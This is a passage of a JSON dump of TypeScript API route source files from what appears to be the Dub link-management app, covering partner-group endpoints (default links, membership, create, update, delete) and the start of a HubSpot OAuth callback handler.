color:\n            currentDefaultGroup.color === DEFAULT_PARTNER_GROUP.color\n              ? randomValue(RESOURCE_COLORS)\n              : undefined,\n        },\n      });\n      await tx.program.update({\n        where: {\n          id: programId,\n        },\n        data: {\n          defaultGroupId: group.id,\n        },\n      });\n      return await tx.partnerGroup.update({\n        where: {\n          id: group.id,\n        },\n        data: {\n          name:\n            group.name === DEFAULT_GROUP_NAME_OLD\n              ? DEFAULT_PARTNER_GROUP.name\n              : undefined,\n          slug: DEFAULT_PARTNER_GROUP.slug,\n          color: DEFAULT_PARTNER_GROUP.color,\n        },\n      });\n    });\n\n    const programSlug = currentDefaultGroup.program.slug;\n\n    // need to revalidate the program's cached public pages\n    waitUntil(\n      Promise.allSettled([\n        revalidatePath(`/partners.dub.co/${programSlug}`),\n        revalidatePath(`/partners.dub.co/${programSlug}/apply`),\n        revalidatePath(`/partners.dub.co/${programSlug}/apply/success`),\n      ]),\n    );\n\n    return NextResponse.json(GroupSchema.parse(updatedGroup));\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/[groupIdOrSlug]/default-links/[defaultLinkId]/route.ts",
    "content": "import { queueDomainUpdate } from \"@/lib/api/domains/queue-domain-update\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  createOrUpdateDefaultLinkSchema,\n  PartnerGroupDefaultLinkSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, constructURLFromUTMParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/groups/[groupIdOrSlug]/default-links/[defaultLinkId] - update a default link for a group\nexport const PATCH = withWorkspace(\n  async ({ workspace, req, params }) => {\n    const { groupIdOrSlug } = params;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { domain, url } = createOrUpdateDefaultLinkSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const group = await prisma.partnerGroup.findUniqueOrThrow({\n      where: {\n        ...(groupIdOrSlug.startsWith(\"grp_\")\n          ? {\n              id: groupIdOrSlug,\n            }\n          : {\n              programId_slug: {\n                programId,\n                slug: groupIdOrSlug,\n              },\n            }),\n        programId,\n      },\n      include: {\n        utmTemplate: true,\n        partnerGroupDefaultLinks: {\n          where: {\n            id: params.defaultLinkId,\n          },\n        },\n        program: {\n          select: {\n            domain: true,\n          },\n        },\n      },\n    });\n\n    if (group.partnerGroupDefaultLinks.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Default link ${params.defaultLinkId} not found for this group.`,\n      });\n    }\n\n    const defaultLink = group.partnerGroupDefaultLinks[0];\n\n    // Domain change detected, we should do the following\n    // - Update the program's domain\n    // - Update all default links across groups to use the new domain\n    // - Update all partner links to use the new domain (via cron job)\n    if (domain !== group.program.domain) {\n      await prisma.$transaction([\n        prisma.program.update({\n          where: {\n            id: programId,\n          },\n          data: {\n            domain,\n          },\n        }),\n\n        prisma.partnerGroupDefaultLink.updateMany({\n          where: {\n            programId,\n          },\n          data: {\n            domain,\n          },\n        }),\n      ]);\n\n      // Queue domain update for all partner links\n      waitUntil(\n        queueDomainUpdate({\n          newDomain: domain,\n          oldDomain: defaultLink.domain,\n          programId,\n        }),\n      );\n    }\n\n    try {\n      const updatedDefaultLink = await prisma.partnerGroupDefaultLink.update({\n        where: {\n          id: defaultLink.id,\n        },\n        data: {\n          domain,\n          url: group.utmTemplate\n            ? constructURLFromUTMParams(\n                url,\n                extractUtmParams(group.utmTemplate),\n              )\n            : url,\n        },\n      });\n\n      if (updatedDefaultLink.url !== defaultLink.url) {\n        waitUntil(\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/update-default-links`,\n            body: {\n              defaultLinkId: defaultLink.id,\n            },\n          }),\n        );\n      }\n\n      return NextResponse.json(\n        PartnerGroupDefaultLinkSchema.parse(updatedDefaultLink),\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A default link with this URL already exists.\",\n        });\n      }\n\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// DELETE /api/groups/[groupIdOrSlug]/default-links/[defaultLinkId] - delete a default link for a group\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { groupIdOrSlug } = params;\n\n    const group = await prisma.partnerGroup.findUniqueOrThrow({\n      where: {\n        ...(groupIdOrSlug.startsWith(\"grp_\")\n          ? {\n              id: groupIdOrSlug,\n            }\n          : {\n              programId_slug: {\n                programId,\n                slug: groupIdOrSlug,\n              },\n            }),\n        programId,\n      },\n      include: {\n        partnerGroupDefaultLinks: {\n          where: {\n            id: params.defaultLinkId,\n          },\n        },\n      },\n    });\n\n    if (group.partnerGroupDefaultLinks.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Default link ${params.defaultLinkId} not found for this group.`,\n      });\n    }\n\n    await prisma.partnerGroupDefaultLink.delete({\n      where: {\n        id: group.partnerGroupDefaultLinks[0].id,\n      },\n    });\n\n    return NextResponse.json({\n      id: group.partnerGroupDefaultLinks[0].id,\n    });\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/[groupIdOrSlug]/default-links/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  createOrUpdateDefaultLinkSchema,\n  MAX_DEFAULT_LINKS_PER_GROUP,\n  PartnerGroupDefaultLinkSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, constructURLFromUTMParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/groups/[groupIdOrSlug]/default-links - get all default links for a group\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const group = await getGroupOrThrow({\n      programId,\n      groupId: params.groupIdOrSlug,\n    });\n\n    const defaultLinks = await prisma.partnerGroupDefaultLink.findMany({\n      where: {\n        groupId: group.id,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(\n      z.array(PartnerGroupDefaultLinkSchema).parse(defaultLinks),\n    );\n  },\n  {\n    requiredPermissions: [\"groups.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/groups/[groupIdOrSlug]/default-links - create a default link for a group\nexport const POST = withWorkspace(\n  async ({ workspace, req, params, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { url } = createOrUpdateDefaultLinkSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const group = await prisma.partnerGroup.findUniqueOrThrow({\n      where: {\n        id: params.groupIdOrSlug,\n        programId,\n      },\n      include: {\n        program: true,\n        utmTemplate: true,\n      },\n    });\n\n    // shouldn't happen but just in case\n    if (!group.program.domain) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This program needs a domain set before creating a default link.\",\n      });\n    }\n\n    try {\n      const defaultLink = await prisma.$transaction(async (tx) => {\n        const count = await tx.partnerGroupDefaultLink.count({\n          where: {\n            groupId: group.id,\n          },\n        });\n\n        if (count >= MAX_DEFAULT_LINKS_PER_GROUP) {\n          throw new DubApiError({\n            code: \"bad_request\",\n            message: `You can't create more than ${MAX_DEFAULT_LINKS_PER_GROUP} default links for a group.`,\n          });\n        }\n\n        return await tx.partnerGroupDefaultLink.create({\n          data: {\n            id: createId({ prefix: \"pgdl_\" }),\n            programId: group.programId,\n            groupId: group.id,\n            domain: group.program.domain!,\n            url: group.utmTemplate\n              ? constructURLFromUTMParams(\n                  url,\n                  extractUtmParams(group.utmTemplate),\n                )\n              : url,\n          },\n        });\n      });\n\n      waitUntil(\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/create-default-links`,\n          body: {\n            defaultLinkId: defaultLink.id,\n            userId: session.user.id,\n          },\n        }),\n      );\n\n      return NextResponse.json(\n        PartnerGroupDefaultLinkSchema.parse(defaultLink),\n        {\n          status: 201,\n        },\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A default link with this URL already exists.\",\n        });\n      }\n\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/[groupIdOrSlug]/partners/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { movePartnersToGroup } from \"@/lib/api/groups/move-partners-to-group\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst addPartnersToGroupSchema = z.object({\n  partnerIds: z.array(z.string()).min(1).max(100), // max move 100 partners at a time\n  groupMoveDisabledAt: z.coerce.date().nullish(),\n});\n\n// POST /api/groups/[groupIdOrSlug]/partners - add partners to group\nexport const POST = withWorkspace(\n  async ({ req, params, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const group = await getGroupOrThrow({\n      programId,\n      groupId: params.groupIdOrSlug,\n      includeExpandedFields: true,\n    });\n\n    let { partnerIds, groupMoveDisabledAt } = addPartnersToGroupSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    partnerIds = [...new Set(partnerIds)];\n\n    if (partnerIds.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"At least one partner ID is required.\",\n      });\n    }\n\n    const count = await movePartnersToGroup({\n      workspaceId: workspace.id,\n      programId,\n      partnerIds,\n      userId: session.user.id,\n      group,\n      groupMoveDisabledAt,\n    });\n\n    return NextResponse.json({\n      count,\n    });\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/[groupIdOrSlug]/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { movePartnersToGroup } from \"@/lib/api/groups/move-partners-to-group\";\nimport { upsertGroupMoveRules } from \"@/lib/api/groups/upsert-group-move-rules\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { GroupWithProgramSchema } from \"@/lib/zod/schemas/group-with-program\";\nimport {\n  DEFAULT_PARTNER_GROUP,\n  GroupSchema,\n  updateGroupSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, constructURLFromUTMParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/groups/[groupIdOrSlug] - get information about a group\nexport const GET = withWorkspace(\n  async ({ params, workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const group = await getGroupOrThrow({\n      programId,\n      groupId: params.groupIdOrSlug,\n      includeExpandedFields: true,\n      includeBounties: true,\n    });\n\n    return NextResponse.json(GroupWithProgramSchema.parse(group));\n  },\n  {\n    requiredPermissions: [\"groups.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// PATCH /api/groups/[groupIdOrSlug] – update a group for a workspace\nexport const PATCH = withWorkspace(\n  async ({ req, params, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const group = await getGroupOrThrow({\n      programId,\n      groupId: params.groupIdOrSlug,\n    });\n\n    const {\n      name,\n      slug,\n      color,\n      maxPartnerLinks,\n      additionalLinks,\n      utmTemplateId,\n      linkStructure,\n      applicationFormData,\n      landerData,\n      holdingPeriodDays,\n      autoApprovePartners,\n      updateAutoApprovePartnersForAllGroups,\n      updateHoldingPeriodDaysForAllGroups,\n      moveRules,\n    } = updateGroupSchema.parse(await parseRequestBody(req));\n\n    // Only check slug uniqueness if slug is being updated\n    if (slug && slug.toLowerCase() !== group.slug.toLowerCase()) {\n      if (group.slug === DEFAULT_PARTNER_GROUP.slug) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: \"You cannot change the slug of the default group.\",\n        });\n      }\n\n      const existingGroup = await prisma.partnerGroup.findUnique({\n        where: {\n          programId_slug: {\n            programId,\n            slug,\n          },\n        },\n      });\n\n      if (existingGroup) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: `Group with slug ${slug} already exists in your program.`,\n        });\n      }\n    }\n\n    if (additionalLinks) {\n      // check for duplicate link formats\n      const linkFormatDomains = additionalLinks.reduce((acc, link) => {\n        acc.add(link.domain);\n        return acc;\n      }, new Set<string>());\n\n      if (linkFormatDomains.size !== additionalLinks.length) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message:\n            \"Duplicate link formats found. Please make sure all link formats have unique domains.\",\n        });\n      }\n    }\n\n    // Find the UTM template\n    const utmTemplate = utmTemplateId\n      ? await prisma.utmTemplate.findUniqueOrThrow({\n          where: {\n            id: utmTemplateId,\n            projectId: workspace.id,\n          },\n        })\n      : null;\n\n    const { workflowId } = await upsertGroupMoveRules({\n      workspace,\n      group,\n      moveRules,\n    });\n\n    const [updatedGroup] = await Promise.all([\n      prisma.partnerGroup.update({\n        where: {\n          id: group.id,\n        },\n        data: {\n          name,\n          slug,\n          color,\n          additionalLinks,\n          maxPartnerLinks,\n          linkStructure,\n          utmTemplateId,\n          applicationFormData,\n          landerData,\n          workflowId,\n          ...(holdingPeriodDays !== undefined &&\n            !updateHoldingPeriodDaysForAllGroups && {\n              holdingPeriodDays,\n            }),\n          ...(autoApprovePartners !== undefined &&\n            !updateAutoApprovePartnersForAllGroups && {\n              autoApprovePartnersEnabledAt: autoApprovePartners\n                ? new Date()\n                : null,\n            }),\n        },\n        include: {\n          clickReward: true,\n          leadReward: true,\n          saleReward: true,\n          discount: true,\n        },\n      }),\n\n      // Update auto-approve for all groups if selected\n      ...(autoApprovePartners !== undefined &&\n      updateAutoApprovePartnersForAllGroups\n        ? [\n            prisma.partnerGroup.updateMany({\n              where: {\n                programId,\n              },\n              data: {\n                autoApprovePartnersEnabledAt: autoApprovePartners\n                  ? new Date()\n                  : null,\n              },\n            }),\n          ]\n        : []),\n      // Update holding period for all groups if selected\n      ...(holdingPeriodDays !== undefined && updateHoldingPeriodDaysForAllGroups\n        ? [\n            prisma.partnerGroup.updateMany({\n              where: {\n                programId,\n              },\n              data: {\n                holdingPeriodDays,\n              },\n            }),\n          ]\n        : []),\n    ]);\n\n    waitUntil(\n      (async () => {\n        const isTemplateAdded = group.utmTemplateId !== utmTemplateId;\n\n        // If the UTM template is added, update the default links with the UTM parameters\n        if (isTemplateAdded && utmTemplate) {\n          const defaultLinks = await prisma.partnerGroupDefaultLink.findMany({\n            where: {\n              groupId: group.id,\n            },\n          });\n\n          if (defaultLinks.length > 0) {\n            for (const defaultLink of defaultLinks) {\n              await prisma.partnerGroupDefaultLink.update({\n                where: {\n                  id: defaultLink.id,\n                },\n                data: {\n                  url: constructURLFromUTMParams(\n                    defaultLink.url,\n                    extractUtmParams(utmTemplate),\n                  ),\n                },\n              });\n            }\n          }\n        }\n\n        await Promise.allSettled([\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"group.updated\",\n            description: `Group ${updatedGroup.name} (${group.id}) updated`,\n            actor: session.user,\n            targets: [\n              {\n                type: \"group\",\n                id: group.id,\n                metadata: updatedGroup,\n              },\n            ],\n          }),\n\n          group.utmTemplateId !== updatedGroup.utmTemplateId &&\n            qstash.publishJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/sync-utm`,\n              body: {\n                groupId: group.id,\n              },\n            }),\n        ]);\n      })(),\n    );\n\n    return NextResponse.json(GroupSchema.parse(updatedGroup));\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// DELETE /api/groups/[groupIdOrSlug] – delete a group for a workspace\nexport const DELETE = withWorkspace(\n  async ({ params, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const { groupIdOrSlug } = params;\n\n    const [group, defaultGroup] = await Promise.all([\n      prisma.partnerGroup.findUniqueOrThrow({\n        where: {\n          ...(groupIdOrSlug.startsWith(\"grp_\")\n            ? {\n                id: groupIdOrSlug,\n              }\n            : {\n                programId_slug: {\n                  programId,\n                  slug: groupIdOrSlug,\n                },\n              }),\n        },\n      }),\n\n      prisma.partnerGroup.findUniqueOrThrow({\n        where: {\n          programId_slug: {\n            programId,\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n        },\n      }),\n    ]);\n\n    if (group.slug === DEFAULT_PARTNER_GROUP.slug) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You cannot delete the default group of your program.\",\n      });\n    }\n\n    while (true) {\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          groupId: group.id,\n        },\n        take: 100,\n      });\n      if (programEnrollments.length === 0) {\n        break;\n      }\n      const count = await movePartnersToGroup({\n        workspaceId: workspace.id,\n        programId,\n        partnerIds: programEnrollments.map(({ partnerId }) => partnerId),\n        userId: session.user.id,\n        group: defaultGroup,\n        isGroupDeleted: true,\n      });\n      console.log(`Moved ${count} partners to the default group`);\n    }\n\n    const deletedGroup = await prisma.$transaction(async (tx) => {\n      // 1. Delete the group's rewards\n      if (group.clickRewardId || group.leadRewardId || group.saleRewardId) {\n        await tx.reward.deleteMany({\n          where: {\n            id: {\n              in: [\n                group.clickRewardId,\n                group.leadRewardId,\n                group.saleRewardId,\n              ].filter(Boolean) as string[],\n            },\n          },\n        });\n      }\n\n      // Note: we can't delete this group's discount yet because it is needed\n      // for `remap-discount-codes` that runs in movePartnersToGroup\n      // but we will delete the Discount in `remap-discount-codes` once there are no remaining discount codes.\n\n      // 2. Delete the group move workflow\n      if (group.workflowId) {\n        await tx.workflow.delete({\n          where: {\n            id: group.workflowId,\n          },\n        });\n      }\n\n      // 3. Delete the group\n      await tx.partnerGroup.delete({\n        where: {\n          id: group.id,\n        },\n      });\n\n      return true;\n    });\n\n    if (deletedGroup) {\n      waitUntil(\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"group.deleted\",\n          description: `Group ${group.name} (${group.id}) deleted`,\n          actor: session.user,\n          targets: [\n            {\n              type: \"group\",\n              id: group.id,\n              metadata: group,\n            },\n          ],\n        }),\n      );\n    }\n\n    return NextResponse.json({ id: group.id });\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getGroupsCountQuerySchema } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/groups/count - get the count of groups for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const { search } = getGroupsCountQuerySchema.parse(searchParams);\n\n    const count = await prisma.partnerGroup.count({\n      where: {\n        programId,\n        ...(search && {\n          OR: [\n            {\n              name: {\n                contains: search,\n              },\n            },\n            {\n              slug: {\n                contains: search,\n              },\n            },\n          ],\n        }),\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPermissions: [\"groups.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getGroups } from \"@/lib/api/groups/get-groups\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport {\n  createGroupSchema,\n  DEFAULT_PARTNER_GROUP,\n  getGroupsQuerySchema,\n  GroupSchema,\n  GroupSchemaExtended,\n} from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/groups - get all groups for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const parsedInput = getGroupsQuerySchema.parse(searchParams);\n\n    console.time(\"getGroups\");\n    const groups = await getGroups({\n      ...parsedInput,\n      programId,\n    });\n    console.timeEnd(\"getGroups\");\n\n    return NextResponse.json(z.array(GroupSchemaExtended).parse(groups));\n  },\n  {\n    requiredPermissions: [\"groups.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/groups - create a group for a program\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { name, slug, color } = createGroupSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      include: {\n        groups: {\n          where: {\n            slug: DEFAULT_PARTNER_GROUP.slug,\n          },\n          include: {\n            partnerGroupDefaultLinks: true,\n          },\n        },\n      },\n    });\n\n    const group = await prisma.$transaction(async (tx) => {\n      const [existingGroup, groupsCount] = await Promise.all([\n        tx.partnerGroup.findUnique({\n          where: {\n            programId_slug: {\n              programId,\n              slug,\n            },\n          },\n        }),\n        tx.partnerGroup.count({\n          where: {\n            programId,\n          },\n        }),\n      ]);\n\n      if (existingGroup) {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `Group with slug ${slug} already exists in your program.`,\n        });\n      }\n\n      if (groupsCount >= workspace.groupsLimit) {\n        throw new DubApiError({\n          code: \"exceeded_limit\",\n          message: exceededLimitError({\n            plan: workspace.plan,\n            limit: workspace.groupsLimit,\n            type: \"groups\",\n          }),\n        });\n      }\n\n      // copy over the default group's settings when creating a new group\n      const {\n        logo,\n        wordmark,\n        brandColor,\n        additionalLinks,\n        maxPartnerLinks,\n        linkStructure,\n        partnerGroupDefaultLinks,\n        applicationFormData,\n        landerData,\n        holdingPeriodDays,\n        autoApprovePartnersEnabledAt,\n      } = program.groups[0];\n\n      return await tx.partnerGroup.create({\n        data: {\n          id: createId({ prefix: \"grp_\" }),\n          programId,\n          name,\n          slug,\n          color,\n          logo,\n          wordmark,\n          brandColor,\n          holdingPeriodDays,\n          autoApprovePartnersEnabledAt,\n          ...(additionalLinks && { additionalLinks }),\n          ...(maxPartnerLinks && { maxPartnerLinks }),\n          ...(linkStructure && { linkStructure }),\n          ...(applicationFormData && { applicationFormData }),\n          ...(landerData && { landerData }),\n          partnerGroupDefaultLinks: {\n            createMany: {\n              data: partnerGroupDefaultLinks.map((link) => ({\n                id: createId({ prefix: \"pgdl_\" }),\n                programId,\n                domain: link.domain,\n                url: link.url,\n              })),\n            },\n          },\n        },\n        include: {\n          clickReward: true,\n          leadReward: true,\n          saleReward: true,\n          discount: true,\n        },\n      });\n    });\n\n    waitUntil(\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId,\n        action: \"group.created\",\n        description: `Group ${group.name} (${group.id}) created`,\n        actor: session.user,\n        targets: [\n          {\n            type: \"group\",\n            id: group.id,\n            metadata: group,\n          },\n        ],\n      }),\n    );\n\n    return NextResponse.json(GroupSchema.parse(group), {\n      status: 201,\n    });\n  },\n  {\n    requiredPermissions: [\"groups.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/groups/rules/route.ts",
    "content": "import { getGroupMoveRules } from \"@/lib/api/groups/get-group-move-rules\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { groupRulesSchema } from \"@/lib/zod/schemas/groups\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/groups/rules - get group move rules\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const groups = await getGroupMoveRules(programId);\n\n    return NextResponse.json(groupRulesSchema.parse(groups));\n  },\n  {\n    requiredPermissions: [\"groups.read\"],\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/hubspot/callback/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { getSession } from \"@/lib/auth\";\nimport { HubSpotApi } from \"@/lib/integrations/hubspot/api\";\nimport { HUBSPOT_DUB_CONTACT_PROPERTIES } from \"@/lib/integrations/hubspot/constants\";\nimport { hubSpotOAuthProvider } from \"@/lib/integrations/hubspot/oauth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { redirect } from \"next/navigation\";\n\nexport const dynamic = \"force-dynamic\";\n\n// GET /api/hubspot/callback - OAuth callback from HubSpot\nexport const GET = async (req: Request) => {\n  const { searchParams } = new URL(req.url);\n  let workspace: Pick<WorkspaceProps, \"id\" | \"slug\" | \"users\"> | null = null;\n\n  // Local development redirect since the callback might be coming through ngrok\n  if (\n    process.env.NODE_ENV === \"development\" &&\n    !req.headers.get(\"host\")?.includes(\"localhost\")\n  ) {\n    return redirect(\n      `http://localhost:8888/api/hubspot/callback?${searchParams.toString()}`,\n    );\n  }\n\n  try {\n    const session = await getSession();\n\n    if (!session?.user.id) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Unauthorized. Please login to continue.\",\n      });\n    }\n\n    const { token, contextId: workspaceId } =\n      await hubSpotOAuthProvider.exchangeCodeForToken<string>(req);\n\n    workspace = await prisma.project.findUniqueOrThrow({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        id: true,\n        slug: true,\n        users: {\n          where: {\n            userId: session.user.id,\n          },\n          select: {\n            role: true,\n            defaultFolderId: true,\n          },\n        },\n      },\n    });\n\n    // Check if the user is a member of the workspace\n    if (workspace.users.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You are not a member of this workspace. \",\n      